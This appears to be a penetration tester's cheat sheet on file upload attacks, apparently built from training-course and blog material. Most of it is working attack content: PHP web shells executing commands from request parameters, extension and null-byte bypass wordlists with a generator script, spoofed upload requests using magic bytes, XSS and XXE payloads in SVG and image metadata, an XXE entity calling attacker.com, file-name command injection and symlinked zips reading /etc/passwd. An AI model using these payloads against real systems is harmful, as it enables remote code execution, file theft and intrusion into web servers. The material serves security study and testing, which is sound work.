File Upload Attacks

Upload Scanner - Burp Extension

Absent Validation

Vulnerability identification

<?php echo "Hello HTB";?> to test.php

Web Shells

Web Shell

PHP disabled_functions

<?php  
print_r(preg_grep("/^(system|exec|shell_exec|passthru|proc_open|popen|curl_exec|curl_multi_exec|parse_ini_file|show_source)$/", get_defined_functions(TRUE)["internal"]));  
?>

File Type Check - Client-Side Validation

Back-end Request Modification

Disabling Front-end Validation

<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
function checkFile(File) {
...SNIP...
    if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
        $('#error_message').text("Only images are allowed!");
        File.form.reset();
        $("#submit").attr("disabled", true);
    ...SNIP...
    }
}

Tip: You may also do the same to remove accept=".jpg,.jpeg,.png", which should make selecting the PHP shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier.

Blacklist Filters

Blacklisting Extensions

$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');

if (in_array($extension, $blacklist)) {
    echo "File type not allowed";
    die();
}

Tip: The comparison above is also case-sensitive, and is only considering lowercase extensions. In Windows Servers, file names are case insensitive, so we may try uploading a php with a mixed-case (e.g. pHp), which may bypass the blacklist as well, and should still execute as a PHP script.

Bypass File Extension Exclusion Lists

Variations of PHP file extensions

.phtml
.php2
.php5
.php7
.phar
.phpt
.hphp
.inc
.module

Variation of ASP.NET file extensions

.asp
.aspx
.ashx
.asmx
.aspq
.axd
.dll
.cshtml
.vbhtml

Variations of Java file extensions

.jsp
.jspx
.jsw
.jsv
.jspf
.action
.do

Various other file extension to test for

.svg
.html
.cgi
.htaccess
.cfm

Fuzzing Extensions

PHP List

ASP extensions

Web extensions

More extensions

What extension is allowed ?

Upload a file, once this request is captured, send it to the Intruder. Click on "Payloads" and select the "Sniper" attack type.

Click the "Positions" tab now, find the filename and "Add §" to the extension. It should look like so:

Use /usr/share/wordlists/dirb/extensions_common.txt

Uncheck url-encoding

Run the attack

Search for Non-Blacklisted Extensions - Look Content Length

Not all extensions will work with all web server configurations, so we may need to try several extensions to get one that successfully executes PHP code.

Type of attack based on extension

ASP Applications:

.asa -> potential remote code execution

.asax -> potential remote code execution

.asp -> potential remote code execution .aspx -> potential remote code execution

Java Applications:

.jsp -> potential remote code execution

.jspx -> potential remote code execution

Perl Applications:

.pl -> potential remote code execution

Python Applications:

.py -> potential remote code execution

Ruby Applications:

.rb -> potential remote code execution

Other files that should be restricted for most applications:

.bat

.cgi .exe

.htm -> potential XSS

.html -> potential XSS

.jar

.rar

.shtml

.svg -> potential XSS

.swf -> potential XSS

.tar

.zip

.cer -> potential XSS

.hxt -> potential XSS

.stm -> potential XSS

Whitelist Filters

$fileName = basename($_FILES["uploadFile"]["name"]);

if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
    echo "Only images are allowed";
    die();
}

Double Extensions

Rename it

.php.png
.png.php
.PhP
.php%0A.png
.php%0D.png
.php.
.php.\png
.php./png
.php%20.png
.php?.png
.php#.png
shell (no file extension)
shell. (no file extension)
(no file name)
shell.php.jpg
shell.png.php
shell.jpeg.php5

shell.jpg.php

shell.phar.jpeg

Fuzz the upload form with This Wordlist to find what extensions are whitelisted by the upload form

if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName)) { ...SNIP... }

Only consider the final file extension, as it uses (^.*\.) to match everything up to the last (.), and then uses ($) at the end to only match extensions that end the file name

Insecure configuration:

/etc/apache2/mods-enabled/php7.4.conf

<FilesMatch ".+\.ph(ar|p|tml)">
    SetHandler application/x-httpd-php
</FilesMatch>

shell.php.jpg should pass the earlier whitelist test as it ends with (.jpg), and it would be able to execute PHP code due to the above misconfiguration, as it contains (.php) in its name.

The web application may still utilize a blacklist to deny requests containing PHP extensions. Try to fuzz the upload form with the PHP Wordlist to find what extensions are blacklisted by the upload form.

Character Injection

We can inject several characters before or after the final extension to cause the web application to misinterpret the filename and execute the uploaded file as a PHP script.

The following are some of the characters we may try injecting:

  • %20

  • %0a

  • %00

  • %0d0a

  • /

  • .\

  • .

  • :

Null Byte

shell.php%00.jpg works with PHP servers with version 5.X or earlier

blank.php%00.png
blank.php%2500.png

Windows server: injecting a colon (:) before the allowed file extension (e.g. shell.aspx:.jpg), which should also write the file as (shell.aspx)

for char in '%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':'; do
    for ext in '.php' '.phps'; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

Then, fuzz extensions

# vim char_injection.sh
# chmod +x char_injection.sh 
# ./char_injection.sh        
# cat wordlist.txt 

wordlist.txt

shell%20.php.jpg
shell.php%20.jpg
shell.jpg%20.php
shell.jpg.php%20
shell%20.phps.jpg
shell.phps%20.jpg
shell.jpg%20.phps
shell.jpg.phps%20
shell%0a.php.jpg
shell.php%0a.jpg
shell.jpg%0a.php
shell.jpg.php%0a
shell%0a.phps.jpg
shell.phps%0a.jpg
shell.jpg%0a.phps
shell.jpg.phps%0a
shell%00.php.jpg
shell.php%00.jpg
shell.jpg%00.php
shell.jpg.php%00
shell%00.phps.jpg
shell.phps%00.jpg
shell.jpg%00.phps
shell.jpg.phps%00
shell%0d0a.php.jpg
shell.php%0d0a.jpg
shell.jpg%0d0a.php
shell.jpg.php%0d0a
shell%0d0a.phps.jpg
shell.phps%0d0a.jpg
shell.jpg%0d0a.phps
shell.jpg.phps%0d0a
shell/.php.jpg
shell.php/.jpg
shell.jpg/.php
shell.jpg.php/
shell/.phps.jpg
shell.phps/.jpg
shell.jpg/.phps
shell.jpg.phps/
shell.\.php.jpg
shell.php.\.jpg
shell.jpg.\.php
shell.jpg.php.\
shell.\.phps.jpg
shell.phps.\.jpg
shell.jpg.\.phps
shell.jpg.phps.\
shell..php.jpg
shell.php..jpg
shell.jpg..php
shell.jpg.php.
shell..phps.jpg
shell.phps..jpg
shell.jpg..phps
shell.jpg.phps.
shell….php.jpg
shell.php….jpg
shell.jpg….php
shell.jpg.php…
shell….phps.jpg
shell.phps….jpg
shell.jpg….phps
shell.jpg.phps…
shell:.php.jpg
shell.php:.jpg
shell.jpg:.php
shell.jpg.php:
shell:.phps.jpg
shell.phps:.jpg
shell.jpg:.phps
shell.jpg.phps:

Add .phar et .php8 to the list

#!/bin/bash

# List of characters
chars=('%20' '%0a' '%00' '%0d0a' '/' '.\\' '.' '…' ':')

# List of extensions
extensions=('.php' '.phps' '.phar' '.php8')

# Create or clear the wordlist file
> wordlist.txt

# Loop through each character
for char in "${chars[@]}"; do
    # Loop through each extension
    for ext in "${extensions[@]}"; do
        echo "shell$char$ext.jpg" >> wordlist.txt
        echo "shell$ext$char.jpg" >> wordlist.txt
        echo "shell.jpg$char$ext" >> wordlist.txt
        echo "shell.jpg$ext$char" >> wordlist.txt
    done
done

New wordlist

shell%20.php.jpg
shell.php%20.jpg
shell.jpg%20.php
shell.jpg.php%20
shell%20.phps.jpg
shell.phps%20.jpg
shell.jpg%20.phps
shell.jpg.phps%20
shell%20.phar.jpg
shell.phar%20.jpg
shell.jpg%20.phar
shell.jpg.phar%20
shell%20.php8.jpg
shell.php8%20.jpg
shell.jpg%20.php8
shell.jpg.php8%20
shell%0a.php.jpg
shell.php%0a.jpg
shell.jpg%0a.php
shell.jpg.php%0a
shell%0a.phps.jpg
shell.phps%0a.jpg
shell.jpg%0a.phps
shell.jpg.phps%0a
shell%0a.phar.jpg
shell.phar%0a.jpg
shell.jpg%0a.phar
shell.jpg.phar%0a
shell%0a.php8.jpg
shell.php8%0a.jpg
shell.jpg%0a.php8
shell.jpg.php8%0a
shell%00.php.jpg
shell.php%00.jpg
shell.jpg%00.php
shell.jpg.php%00
shell%00.phps.jpg
shell.phps%00.jpg
shell.jpg%00.phps
shell.jpg.phps%00
shell%00.phar.jpg
shell.phar%00.jpg
shell.jpg%00.phar
shell.jpg.phar%00
shell%00.php8.jpg
shell.php8%00.jpg
shell.jpg%00.php8
shell.jpg.php8%00
shell%0d0a.php.jpg
shell.php%0d0a.jpg
shell.jpg%0d0a.php
shell.jpg.php%0d0a
shell%0d0a.phps.jpg
shell.phps%0d0a.jpg
shell.jpg%0d0a.phps
shell.jpg.phps%0d0a
shell%0d0a.phar.jpg
shell.phar%0d0a.jpg
shell.jpg%0d0a.phar
shell.jpg.phar%0d0a
shell%0d0a.php8.jpg
shell.php8%0d0a.jpg
shell.jpg%0d0a.php8
shell.jpg.php8%0d0a
shell/.php.jpg
shell.php/.jpg
shell.jpg/.php
shell.jpg.php/
shell/.phps.jpg
shell.phps/.jpg
shell.jpg/.phps
shell.jpg.phps/
shell/.phar.jpg
shell.phar/.jpg
shell.jpg/.phar
shell.jpg.phar/
shell/.php8.jpg
shell.php8/.jpg
shell.jpg/.php8
shell.jpg.php8/
shell.\\.php.jpg
shell.php.\\.jpg
shell.jpg.\\.php
shell.jpg.php.\\
shell.\\.phps.jpg
shell.phps.\\.jpg
shell.jpg.\\.phps
shell.jpg.phps.\\
shell.\\.phar.jpg
shell.phar.\\.jpg
shell.jpg.\\.phar
shell.jpg.phar.\\
shell.\\.php8.jpg
shell.php8.\\.jpg
shell.jpg.\\.php8
shell.jpg.php8.\\
shell..php.jpg
shell.php..jpg
shell.jpg..php
shell.jpg.php.
shell..phps.jpg
shell.phps..jpg
shell.jpg..phps
shell.jpg.phps.
shell..phar.jpg
shell.phar..jpg
shell.jpg..phar
shell.jpg.phar.
shell..php8.jpg
shell.php8..jpg
shell.jpg..php8
shell.jpg.php8.
shell….php.jpg
shell.php….jpg
shell.jpg….php
shell.jpg.php…
shell….phps.jpg
shell.phps….jpg
shell.jpg….phps
shell.jpg.phps…
shell….phar.jpg
shell.phar….jpg
shell.jpg….phar
shell.jpg.phar…
shell….php8.jpg
shell.php8….jpg
shell.jpg….php8
shell.jpg.php8…
shell:.php.jpg
shell.php:.jpg
shell.jpg:.php
shell.jpg.php:
shell:.phps.jpg
shell.phps:.jpg
shell.jpg:.phps
shell.jpg.phps:
shell:.phar.jpg
shell.phar:.jpg
shell.jpg:.phar
shell.jpg.phar:
shell:.php8.jpg
shell.php8:.jpg
shell.jpg:.php8
shell.jpg.php8:

Type Filters

POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.png"
Content-Type: application/x-php

<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--

Content-Type

Content-Disposition: form-data; name="myFile"; filename="php-reverse-shell.php"
Content-Type: application/x-php

#Change to Content-Type: image/jpeg or Content-Type: image/png
$type = $_FILES['uploadFile']['type'];

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}

Fuzz Content-Type header:

Only images are allowed - reduces the wordlist to 45 types only (compared to around 700 originally):

$ wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Miscellaneous/web/content-type.txt
$ cat content-type.txt | grep 'image/' > image-content-types.txt

Intercept our upload request and change the Content-Type header to it:

Content-Type: image/jpg

Also try with:

Content-Type: image/png

Note: A file upload HTTP request has two Content-Type headers, one for the attached file (at the bottom), and one for the full request (at the top). We usually need to modify the file's Content-Type header, but in some cases the request will only contain the main Content-Type header (e.g. if the uploaded content was sent as POST data), in which case we will need to modify the main Content-Type header.

MIME-Type

Start with GIF

$ echo "this is a text file" > text.jpg 
$ file text.jpg 
text.jpg: ASCII text
$ echo "GIF8" > text.jpg 
$file text.jpg
text.jpg: GIF image data

PHP - Example testing the MIME type of an uploaded file:

$type = mime_content_type($_FILES['uploadFile']['tmp_name']);

if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
    echo "Only images are allowed";
    die();
}

Client-Side, Blacklist, Whitelist, Content-Type, and MIME-Type filters:

GIF not allowed - Upload a jpeg/PNG file, change the content without removing file signature

Magic Bytes

These are the magic bytes for a normal image (PNG) in HEX:

89 50 4E 47 0D 0A 1A 0A
POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="intigriti.php"
Content-Type: application/x-php

‰PNG␍␊␚␊
<?php echo system($_GET['e']); ?>
------WebKitFormBoundary3RwPFJztxaJvrqAq--

File Upload Validation Bypass

Limited File Uploads

XSS

XSS

Comment

$ exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
$ exiftool HTB.jpg
...SNIP...
Comment                         :  "><img src=1 onerror=alert(window.origin)>

SVG

HTB.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
    <rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
    <script type="text/javascript">alert(window.origin);</script>
</svg>

Other payload

<svg xmlns="http://www.w3.org/2000/svg" width="300" height="300">  
        <circle cx="150" cy="147.5" r="50" fill="#DA3A00" />  
        <script>console.log("@chux13786509 on X for more content!")</script>  
</svg>

XXE - SVG - X-Requested-With: XMLHttpRequest

X-Requested-With: XMLHttpRequest

poc.svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>

Read source code in PHP web applications

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>

XML data is not unique to SVG images, as it is also utilized by many types of documents, like PDF, Word Documents, PowerPoint Documents, among many others.

XXE vulnerability to enumerate the internally available services or even call private APIs to perform private actions

XXE

SSRF

PDFs, SVGs, or even Office documents. If the backend processes these files, SSRF might be hiding here

SSRF

DoS

  • Decompression Bomb

  • Pixel Flood

Other Upload Attacks

In images

Exiftool

root@Host-001:~/Bureau# exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); ?>' blank.png
root@Host-001:~/Bureau# mv blank.png blank.php.png

XXE in XMP metadata of JPEG file

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

exiftool -XMP-dc:creator='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://attacker.com/malicious_payload">
]>
<rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <rdf:Description rdf:about="">
    <dc:creator>&xxe;</dc:creator>
  </rdf:Description>
</rdf:RDF>' example.jpg

Injections in File Name

Name a file file$(whoami).jpg or file`whoami`.jpg or file.jpg||whoami

Command Injection

XSS payload in the file name (e.g. <script>alert(window.origin);</script>), which would get executed on the target's machine if the file name is displayed to them. We may also inject an SQL query in the file name (e.g. file';select+sleep(5);--.jpg), which may lead to an SQL injection if the file name is insecurely used in an SQL query.

XSS

.htaccess

AddType application/x-httpd-php .png
POST /Api/FileUpload.aspx HTTP/2
Host: console.example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.3
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3RwPFJztxaJvrqAq
Accept: */*

------WebKitFormBoundary3RwPFJztxaJvrqAq
Content-Disposition: form-data; name="file"; filename="../../../.htaccess"
Content-Type: text/plain

# Your server configuraton rules
------WebKitFormBoundary3RwPFJztxaJvrqAq--https://www.intigriti.com/researchers/blog/hacking-tools/insecure-file-uploads-a-complete-guide-to-finding-advanced-file-upload-vulnerabilities

Web shell via Path Traveral

Zip file

Example 1

ln -s ../ symindex.txt
zip --symlinks test3.zip symindex.txt

1. upload zip 2. visit symindex.txt

Example 2

oxdf@hacky$ ln -s /etc/passwd passwd.pdf
oxdf@hacky$ ls -l passwd.pdf 
lrwxrwxrwx 1 oxdf oxdf 11 Jan  8 18:07 passwd.pdf -> /etc/passwd
oxdf@hacky$ zip --symlinks passwd.zip passwd.pdf 
  adding: passwd.pdf (stored 0%)

Zip Slip

DOCX/XLSX/PPTX Files

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

PDF Files

SSRF ?

Malicious PDF File Used As Delivery Mechanism

%PDF-1.4
1 0 obj
<< /Type /Catalog
   /Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
   /Kids [3 0 R]
   /Count 1
>>
endobj
3 0 obj
<< /Type /Page
   /Parent 2 0 R
   /MediaBox [0 0 612 792]
   /Contents 4 0 R
   /Annots [19 0 R]
>>
endobj
4 0 obj
<< /Length 0 >>
stream
endstream
endobj
19 0 obj
<<
  /Type /Annot
  /Subtype /Link
  /Rect [228.0958 225.9112 366.9041 265.6779]
  /Border [0 0 0]
  /F 4
  /StructParent 100000
  /A <<
       /S /URI
       /Type /Action
       /URI (hxxps://evil.com/file.zip)
     >>
>>
endobj
xref
0 20
0000000000 65535 f 
0000000010 00000 n 
0000000079 00000 n 
0000000178 00000 n 
0000000276 00000 n 
0000000320 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000000 00000 n 
0000000365 00000 n 
trailer
<< /Size 20
   /Root 1 0 R
>>
startxref
461
%%EOF

php inside pdf

bad.pdf.php

%PDF-1.5
<?php phpinfo(); ?>

XXE in PDF

https://www.blackhat.com/docs/webcast/11192015-exploiting-xml-entity-vulnerabilities-in-file-parsing-functionality.pdf

ruby oxml_xxe.rb --poc pdf --ip 192.168.14.1:8000 

PDF Converter - LibreOffice

ImageMagick

Right to left override

Bind and Reverse Shell

Magic Number

Add four "A" on the first line of shell.php.

hexeditor shell.php

Change the first 4 bytes "41 41 41 41" to "FF D8 FF DB" (jpeg magic number)

Result:

00000000 FF D8 FF DB 3C 3F 70 68 70 20 73 79 73 74 65 6D <?php system 00000010 28 24 5F 47 45 54 5B 63 6D 64 5D 29 3B 20 3F 3E ET[cmd]); ?> 00000020 0A

Save. Verification: file shell.php : shell.php: JPEG image data

Magic numbers list:

Eicar files - AV Testing

Tools

Resources

Last updated